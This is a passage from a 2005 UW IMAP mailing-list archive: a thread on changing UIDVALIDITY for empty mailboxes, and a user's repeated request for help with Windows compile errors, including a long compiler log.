server (i.e. with the name). But obviously this won't work... Marc Mark Crispin wrote: > On Mon, 18 Jul 2005, Marc Blank wrote: > >> I've noticed that on at least one server running UW-IMAP, that an >> empty folder (in this case Drafts), when SELECTed at various times and >> in various sessions, keeps returning a different UIDVALIDITY value. >> Is this correct behavior? > > > It's permitted behavior by the IMAP specification. UW imapd does not > consider it to be good behavior, but it's unavoidable. > > What's going on is that the file is truly empty, and thus does not have > any metadata. In traditional UNIX mailbox format, the widely-derided > "DO NOT DELETE" internal pseudo-message (which UW imapd, Pine, etc. > hides) contains the metadata; but this upsets some people, and so they > do things to prevent the pseudo-message and/or destroy it. [The issue > is shell tests that treat empty files as "no mail" and non-empty files > as "mail exists"] > > Fortunately, since the mailbox is empty, a changing UIDVALIDITY value > should not overly-upset a client. The client should just say "oh well" > and update its record of the UIDVALIDITY. Since, as you saw, this can > be routine in some environments, it's not an event that is worth > logging, much less complainig to the user. > > In some formats, such as UW imapd's preferred mbx, an empty mailbox is > not an empty file, and thus this problem does not occur. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Jul 18 12:39:00 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 18 Jul 2005 12:39:00 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j6IJd0fC021055 for ; Mon, 18 Jul 2005 12:39:00 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6IJcxGB012260 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 18 Jul 2005 12:38:59 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6IJcnJv022769; Mon, 18 Jul 2005 12:38:49 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6IJcm8R022761 for ; Mon, 18 Jul 2005 12:38:48 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6IJclDp016074 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 18 Jul 2005 12:38:48 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout3.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6IJcl5g010982 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 18 Jul 2005 12:38:47 -0700 Received: from Shimo-Tomobiki.panda.com (pool.dsl.178.139.cvinternet.net [209.161.178.139]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6IJciwZ001456 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 18 Jul 2005 12:38:46 -0700 Date: Mon, 18 Jul 2005 11:38:43 -0800 From: Mark Crispin To: Marc Blank Subject: Re: [Imap-uw] Changing UIDVALIDITY on Empty Folders In-Reply-To: <42DBFF09.60309@xsmail.com> Message-ID: References: <42DBCFE0.9030609@xsmail.com> <42DBFF09.60309@xsmail.com> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Mon, 18 Jul 2005, Marc Blank wrote: > I was hoping that I could use the UIDVALIDITY in some way to identify a > "unique" folder on the server (i.e. with the name). But obviously this won't > work... Well, in a sense it does, but perhaps not in the sense you hoped. The mailbox name + UIDVALIDITY certainly identifies a unique instance in that it won't be duplicated by some other mailbox. You can rely upon that. But you can't assume that this identification is static; although a mail store which does not maintain UIDVALIDITY for mailboxes with messages can be considered defective (although not "non-compliant"). Some of the formats supported by UW imapd are defective in this way, although the major formats are not. The default setting of UW imapd avoids changing UIDVALIDITY even with traditional UNIX mailbox format; but there isn't much that can be done if the site (or user) insists (deliberately or inadvertantly) upon sabotaging the mechanism that is used. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Jul 20 08:19:48 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 20 Jul 2005 08:19:48 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j6KFJms9030295 for ; Wed, 20 Jul 2005 08:19:48 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6KFJlin025418 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 20 Jul 2005 08:19:47 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6KFJ9sj025945; Wed, 20 Jul 2005 08:19:09 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6KFJ8C9025937 for ; Wed, 20 Jul 2005 08:19:08 -0700 Received: from guiness.netcomsa.com ([168.243.131.3]) by mxe7.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6KFIlea027473 for ; Wed, 20 Jul 2005 08:19:01 -0700 Received: from localhost (mike@localhost) by guiness.netcomsa.com (8.11.6/8.10.2/SuSE Linux 8.10.0-0.3) with ESMTP id j6KFOCq04422 for ; Wed, 20 Jul 2005 09:24:18 -0600 Date: Wed, 20 Jul 2005 09:24:11 -0600 (CST) From: Mike Trank To: imap-uw@u.washington.edu Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] trouble building IMAP/C-CLIENT for Win32 X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu I've built IMAP and C-client *lots* of times on Unix/Linux and never had any trouble. But trying to build on Win2k is driving me nuts. I have installed the "Microsoft Platform SDK" and chose "Complete" installation. I can see that the platform SDK's BIN directory is in the PATH and also the include directory is in the INCLUDE envvar, but I always get the compile errors shown below. Can you help? Thanks. Path=C:\PROGRA~1\MICROS~3\Common\msdev98\BIN;C:\PROGRA~1\MICROS~3\VC98\BIN;C:\PR OGRA~1\MICROS~3\Common\TOOLS\WINNT;C:\PROGRA~1\MICROS~3\Common\TOOLS;C:\PROGRA~1 \MICROS~3\Common\msdev98\BIN;C:\PROGRA~1\MICROS~3\VC98\BIN;C:\PROGRA~1\MICROS~3\ Common\TOOLS\WINNT;C:\PROGRA~1\MICROS~3\Common\TOOLS;C:\WINNT\system32;C:\WINNT; C:\WINNT\System32\Wbem;C:\PROGRA~1\CA\SHARED~1\SCANEN~1;C:\PROGRA~1\CA\ETRUST~1; C:\Program Files\Common Files\Roxio Shared\DLLShared;D:\Program Files\Microsoft Platform SDK\Bin\.;D:\Program Files\Microsoft Platform SDK\Bin\WinNT\.;C:\gnude\ bin;D:\Program Files\Microsoft Platform SDK\Bin\.;D:\Program Files\Microsoft Platform SDK\Bin\WinNT\. INCLUDE=C:\PROGRA~1\MICROS~3\VC98\ATL\INCLUDE;C:\PROGRA~1\MICROS~3\VC98\INCLUDE; C:\PROGRA~1\MICROS~3\VC98\MFC\INCLUDE;C:\PROGRA~1\MICROS~3\VC98\ATL\INCLUDE;C:\P ROGRA~1\MICROS~3\VC98\INCLUDE;C:\PROGRA~1\MICROS~3\VC98\MFC\INCLUDE;D:\Program Files\Microsoft Platform SDK\Include\. cl -c /MT /W3 /Ox /DWIN32 -nologo /I.. os_w2k.c os_w2k.c kerb_w2k.c(241) : error C2065: 'MICROSOFT_KERBEROS_NAME_A' : undeclared identifier kerb_w2k.c(241) : warning C4047: 'function' : 'char *' differs in levels of indirection from 'int ' kerb_w2k.c(241) : warning C4024: 'AcquireCredentialsHandleA' : different types for formal and actual parameter 2 kerb_w2k.c(376) : error C2065: 'SEC_E_CERT_EXPIRED' : undeclared identifier kerb_w2k.c(376) : error C2051: case expression not constant kerb_w2k.c(506) : error C2065: 'SECBUFFER_PADDING' : undeclared identifier kerb_w2k.c(561) : error C2065: 'SECBUFFER_STREAM' : undeclared identifier auth_gss.c(236) : error C2051: case expression not constant D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(144) : error C2061: syntax error : identifier 'ALG_ID' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(145) : error C2059: syntax error : '}' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(163) : error C2061: syntax error : identifier 'PCERT_NAME_BLOB' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(165) : error C2059: syntax error : '}' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(171) : error C2061: syntax error : identifier 'ALG_ID' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(173) : error C2061: syntax error : identifier 'aiHash' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(173) : error C2059: syntax error : ';' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(175) : error C2061: syntax error : identifier 'aiExch' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(175) : error C2059: syntax error : ';' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(177) : error C2059: syntax error : '}' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(230) : error C2061: syntax error : identifier 'PCCERT_CONTEXT' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(231) : error C2061: syntax error : identifier 'hRootStore' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(231) : error C2059: syntax error : ';' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(237) : error C2143: syntax error : missing '{' before '*' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(245) : error C2059: syntax error : '}' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(258) : error C2061: syntax error : identifier 'HCRYPTPROV' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(260) : error C2059: syntax error : '}' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(556) : error C2061: syntax error : identifier 'HCRYPTPROV' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(558) : error C2059: syntax error : '}' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(590) : error C2061: syntax error : identifier 'HCRYPTPROV' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(592) : error C2059: syntax error : '}' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(608) : error C2061: syntax error : identifier 'ALG_ID' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(614) : error C2059: syntax error : '}' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(642) : error C2143: syntax error : missing ')' before '*' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(642) : error C2081: 'PX509Certificate' : name in formal parameter list illegal D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(642) : error C2143: syntax error : missing '{' before '*' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(643) : error C2059: syntax error : ')' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(649) : error C2146: syntax error : missing ')' before identifier 'pCertificate' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(649) : error C2061: syntax error : identifier 'pCertificate' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(649) : error C2059: syntax error : ';' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(650) : error C2059: syntax error : ')' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(673) : error C2143: syntax error : missing ')' before '*' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(673) : error C2081: 'PX509Certificate' : name in formal parameter list illegal D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(673) : error C2143: syntax error : missing '{' before '*' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(674) : error C2059: syntax error : ')' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(682) : error C2146: syntax error : missing ')' before identifier 'pCertificate' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(682) : error C2061: syntax error : identifier 'pCertificate' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(682) : error C2059: syntax error : ';' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(683) : error C2059: syntax error : ')' ssl_w2k.c(138) : error C2065: 'SCHANNEL_CRED' : undeclared identifier ssl_w2k.c(138) : error C2146: syntax error : missing ';' before identifier 'tlscred' ssl_w2k.c(138) : error C2065: 'tlscred' : undeclared identifier ssl_w2k.c(139) : error C2065: 'CERT_CONTEXT' : undeclared identifier ssl_w2k.c(139) : error C2065: 'cert' : undeclared identifier ssl_w2k.c(139) : warning C4552: '*' : operator has no effect; expected operator with side-effect ssl_w2k.c(140) : error C2065: 'CERT_CHAIN_PARA' : undeclared identifier ssl_w2k.c(140) : error C2146: syntax error : missing ';' before identifier 'chparam' ssl_w2k.c(140) : error C2065: 'chparam' : undeclared identifier ssl_w2k.c(141) : error C2065: 'CERT_CHAIN_CONTEXT' : undeclared identifier ssl_w2k.c(141) : error C2065: 'chain' : undeclared identifier ssl_w2k.c(141) : warning C4552: '*' : operator has no effect; expected operator with side-effect ssl_w2k.c(142) : error C2065: 'SSL_EXTRA_CERT_CHAIN_POLICY_PARA' : undeclared identifier ssl_w2k.c(142) : error C2146: syntax error : missing ';' before identifier 'policy' ssl_w2k.c(142) : error C2065: 'policy' : undeclared identifier ssl_w2k.c(143) : error C2065: 'CERT_CHAIN_POLICY_PARA' : undeclared identifier ssl_w2k.c(143) : error C2146: syntax error : missing ';' before identifier 'polparam' ssl_w2k.c(143) : error C2065: 'polparam' : undeclared identifier ssl_w2k.c(144) : error C2065: 'CERT_CHAIN_POLICY_STATUS' : undeclared identifier ssl_w2k.c(144) : error C2146: syntax error : missing ';' before identifier 'status' ssl_w2k.c(144) : error C2065: 'status' : undeclared identifier ssl_w2k.c(145) : error C2143: syntax error : missing ';' before 'type' ssl_w2k.c(146) : error C2143: syntax error : missing ';' before 'type' ssl_w2k.c(147) : error C2275: 'ULONG' : illegal use of this type as an expression C:\PROGRA~1\MICROS~3\VC98\INCLUDE\windef.h(43) : see declaration of 'ULONG' ssl_w2k.c(147) : error C2146: syntax error : missing ';' before identifier 'req' ssl_w2k.c(147) : error C2065: 'req' : undeclared identifier ssl_w2k.c(150) : error C2065: 'ISC_REQ_MANUAL_CRED_VALIDATION' : undeclared identifier ssl_w2k.c(151) : error C2275: 'LPSTR' : illegal use of this type as an expression C:\PROGRA~1\MICROS~3\VC98\INCLUDE\winnt.h(166) : see declaration of 'LPSTR' ssl_w2k.c(151) : error C2146: syntax error : missing ';' before identifier 'usage' ssl_w2k.c(151) : error C2065: 'usage' : undeclared identifier ssl_w2k.c(151) : error C2059: syntax error : ']' ssl_w2k.c(156) : error C2275: 'PWSTR' : illegal use of this type as an expression C:\PROGRA~1\MICROS~3\VC98\INCLUDE\winnt.h(154) : see declaration of 'PWSTR' ssl_w2k.c(156) : error C2146: syntax error : missing ';' before identifier 'whost' ssl_w2k.c(156) : error C2065: 'whost' : undeclared identifier ssl_w2k.c(157) : error C2143: syntax error : missing ';' before 'type' ssl_w2k.c(158) : error C2143: syntax error : missing ';' before 'type' ssl_w2k.c(159) : error C2275: 'sslcertificatequery_t' : illegal use of this type as an expression mail.h(1262) : see declaration of 'sslcertificatequery_t' ssl_w2k.c(159) : error C2146: syntax error : missing ';' before identifier 'scq' ssl_w2k.c(159) : error C2065: 'scq' : undeclared identifier ssl_w2k.c(160) : warning C4047: '=' : 'int ' differs in levels of indirection from 'long (__cdecl *)(char *,char *,char *)' ssl_w2k.c(161) : error C2275: 'sslfailure_t' : illegal use of this type as an expression mail.h(1263) : see declaration of 'sslfailure_t' ssl_w2k.c(161) : error C2146: syntax error : missing ';' before identifier 'sf' ssl_w2k.c(161) : error C2065: 'sf' : undeclared identifier ssl_w2k.c(161) : warning C4047: '=' : 'int ' differs in levels of indirection from 'void (__cdecl *)(char *,char *,unsigned long )' ssl_w2k.c(162) : error C2275: 'SSLSTREAM' : illegal use of this type as an expression ssl_w2k.c(44) : see declaration of 'SSLSTREAM' ssl_w2k.c(162) : error C2065: 'stream' : undeclared identifier ssl_w2k.c(164) : error C2223: left of '->tcpstream' must point to struct/union ssl_w2k.c(167) : error C2224: left of '.dwVersion' must have struct/union type ssl_w2k.c(168) : error C2224: left of '.grbitEnabledProtocols' must have struct/union type ssl_w2k.c(173) : error C2223: left of '->cred' must point to struct/union ssl_w2k.c(173) : warning C4133: 'function' : incompatible types - from 'union _LARGE_INTEGER *' to 'struct _SecHandle *' ssl_w2k.c(173) : error C2198: 'AcquireCredentialsHandleA' : too few actual parameters ssl_w2k.c(174) : error C2065: 'reason' : undeclared identifier ssl_w2k.c(174) : warning C4047: '=' : 'int ' differs in levels of indirection from 'char [34]' ssl_w2k.c(177) : error C2065: 'size' : undeclared identifier ssl_w2k.c(177) : error C2065: 'buf' : undeclared identifier ssl_w2k.c(177) : warning C4047: '=' : 'void *' differs in levels of indirection from 'int ' ssl_w2k.c(188) : error C2223: left of '->cred' must point to struct/union ssl_w2k.c(188) : error C2223: left of '->context' must point to struct/union ssl_w2k.c(188) : warning C4133: 'function' : incompatible types - from 'char *' to 'struct _SecHandle *' ssl_w2k.c(188) : warning C4047: 'function' : 'struct _SecHandle *' differs in levels of indirection from 'int ' ssl_w2k.c(188) : warning C4024: 'InitializeSecurityContextA' : different types for formal and actual parameter 2 ssl_w2k.c(189) : warning C4047: 'function' : 'unsigned long ' differs in levels of indirection from 'struct _SecBufferDesc *' ssl_w2k.c(189) : warning C4024: 'InitializeSecurityContextA' : different types for formal and actual parameter 5 ssl_w2k.c(189) : error C2223: left of '->context' must point to struct/union ssl_w2k.c(189) : warning C4047: 'function' : 'unsigned long ' differs in levels of indirection from 'unsigned long *' ssl_w2k.c(189) : warning C4024: 'InitializeSecurityContextA' : different types for formal and actual parameter 8 ssl_w2k.c(189) : warning C4133: 'function' : incompatible types - from 'union _LARGE_INTEGER *' to 'struct _SecHandle *' ssl_w2k.c(189) : error C2198: 'InitializeSecurityContextA' : too few actual parameters ssl_w2k.c(192) : error C2223: left of '->tcpstream' must point to struct/union ssl_w2k.c(192) : warning C4047: 'function' : 'char *' differs in levels of indirection from 'unsigned long ' ssl_w2k.c(192) : warning C4024: 'tcp_sout' : different types for formal and actual parameter 2 ssl_w2k.c(192) : error C2198: 'tcp_sout' : too few actual parameters ssl_w2k.c(192) : fatal error C1003: error count exceeds 100; stopping compilation _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Jul 20 08:33:19 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 20 Jul 2005 08:33:19 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j6KFXJRZ031487 for ; Wed, 20 Jul 2005 08:33:19 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6KFXHP0026351 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 20 Jul 2005 08:33:18 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6KFWp9r028689; Wed, 20 Jul 2005 08:32:51 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6KFWoBu028681 for ; Wed, 20 Jul 2005 08:32:50 -0700 Received: from jambajuice.apexvoice.com (adsl-068-213-192-114.sip.bct.bellsouth.net [68.213.192.114]) by mxe5.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j6KFWmth005652 for ; Wed, 20 Jul 2005 08:32:49 -0700 Received: from localhost (mike@localhost) by jambajuice.apexvoice.com (8.9.3/8.9.3) with ESMTP id IAA06682 for ; Wed, 20 Jul 2005 08:43:55 -0400 X-Authentication-Warning: jambajuice.apexvoice.com: mike owned process doing -bs Date: Wed, 20 Jul 2005 08:43:55 -0400 (EDT) From: Michael Trank X-Sender: mike@jambajuice.apexvoice.com To: imap-uw@u.washington.edu Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] trouble building IMAP/C-CLIENT for Win32 X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Sorry about the dupes, if any. I've built IMAP and C-client *lots* of times on Unix/Linux and never had any trouble. But trying to build on Win2k is driving me nuts. I have installed the "Microsoft Platform SDK" and chose "Complete" installation. I can see that the platform SDK's BIN directory is in the PATH and also the include directory is in the INCLUDE envvar, but I always get the compile errors shown below. Can you help? Thanks. Path=C:\PROGRA~1\MICROS~3\Common\msdev98\BIN;C:\PROGRA~1\MICROS~3\VC98\BIN;C:\PR OGRA~1\MICROS~3\Common\TOOLS\WINNT;C:\PROGRA~1\MICROS~3\Common\TOOLS;C:\PROGRA~1 \MICROS~3\Common\msdev98\BIN;C:\PROGRA~1\MICROS~3\VC98\BIN;C:\PROGRA~1\MICROS~3\ Common\TOOLS\WINNT;C:\PROGRA~1\MICROS~3\Common\TOOLS;C:\WINNT\system32;C:\WINNT; C:\WINNT\System32\Wbem;C:\PROGRA~1\CA\SHARED~1\SCANEN~1;C:\PROGRA~1\CA\ETRUST~1; C:\Program Files\Common Files\Roxio Shared\DLLShared;D:\Program Files\Microsoft Platform SDK\Bin\.;D:\Program Files\Microsoft Platform SDK\Bin\WinNT\.;C:\gnude\ bin;D:\Program Files\Microsoft Platform SDK\Bin\.;D:\Program Files\Microsoft Platform SDK\Bin\WinNT\. INCLUDE=C:\PROGRA~1\MICROS~3\VC98\ATL\INCLUDE;C:\PROGRA~1\MICROS~3\VC98\INCLUDE; C:\PROGRA~1\MICROS~3\VC98\MFC\INCLUDE;C:\PROGRA~1\MICROS~3\VC98\ATL\INCLUDE;C:\P ROGRA~1\MICROS~3\VC98\INCLUDE;C:\PROGRA~1\MICROS~3\VC98\MFC\INCLUDE;D:\Program Files\Microsoft Platform SDK\Include\. cl -c /MT /W3 /Ox /DWIN32 -nologo /I.. os_w2k.c os_w2k.c kerb_w2k.c(241) : error C2065: 'MICROSOFT_KERBEROS_NAME_A' : undeclared identifier kerb_w2k.c(241) : warning C4047: 'function' : 'char *' differs in levels of indirection from 'int ' kerb_w2k.c(241) : warning C4024: 'AcquireCredentialsHandleA' : different types for formal and actual parameter 2 kerb_w2k.c(376) : error C2065: 'SEC_E_CERT_EXPIRED' : undeclared identifier kerb_w2k.c(376) : error C2051: case expression not constant kerb_w2k.c(506) : error C2065: 'SECBUFFER_PADDING' : undeclared identifier kerb_w2k.c(561) : error C2065: 'SECBUFFER_STREAM' : undeclared identifier auth_gss.c(236) : error C2051: case expression not constant D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(144) : error C2061: syntax error : identifier 'ALG_ID' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(145) : error C2059: syntax error : '}' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(163) : error C2061: syntax error : identifier 'PCERT_NAME_BLOB' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(165) : error C2059: syntax error : '}' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(171) : error C2061: syntax error : identifier 'ALG_ID' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(173) : error C2061: syntax error : identifier 'aiHash' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(173) : error C2059: syntax error : ';' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(175) : error C2061: syntax error : identifier 'aiExch' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(175) : error C2059: syntax error : ';' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(177) : error C2059: syntax error : '}' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(230) : error C2061: syntax error : identifier 'PCCERT_CONTEXT' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(231) : error C2061: syntax error : identifier 'hRootStore' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(231) : error C2059: syntax error : ';' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(237) : error C2143: syntax error : missing '{' before '*' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(245) : error C2059: syntax error : '}' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(258) : error C2061: syntax error : identifier 'HCRYPTPROV' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(260) : error C2059: syntax error : '}' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(556) : error C2061: syntax error : identifier 'HCRYPTPROV' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(558) : error C2059: syntax error : '}' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(590) : error C2061: syntax error : identifier 'HCRYPTPROV' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(592) : error C2059: syntax error : '}' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(608) : error C2061: syntax error : identifier 'ALG_ID' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(614) : error C2059: syntax error : '}' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(642) : error C2143: syntax error : missing ')' before '*' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(642) : error C2081: 'PX509Certificate' : name in formal parameter list illegal D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(642) : error C2143: syntax error : missing '{' before '*' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(643) : error C2059: syntax error : ')' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(649) : error C2146: syntax error : missing ')' before identifier 'pCertificate' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(649) : error C2061: syntax error : identifier 'pCertificate' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(649) : error C2059: syntax error : ';' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(650) : error C2059: syntax error : ')' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(673) : error C2143: syntax error : missing ')' before '*' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(673) : error C2081: 'PX509Certificate' : name in formal parameter list illegal D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(673) : error C2143: syntax error : missing '{' before '*' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(674) : error C2059: syntax error : ')' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(682) : error C2146: syntax error : missing ')' before identifier 'pCertificate' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(682) : error C2061: syntax error : identifier 'pCertificate' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(682) : error C2059: syntax error : ';' D:\Program Files\Microsoft Platform SDK\Include\.\schannel.h(683) : error 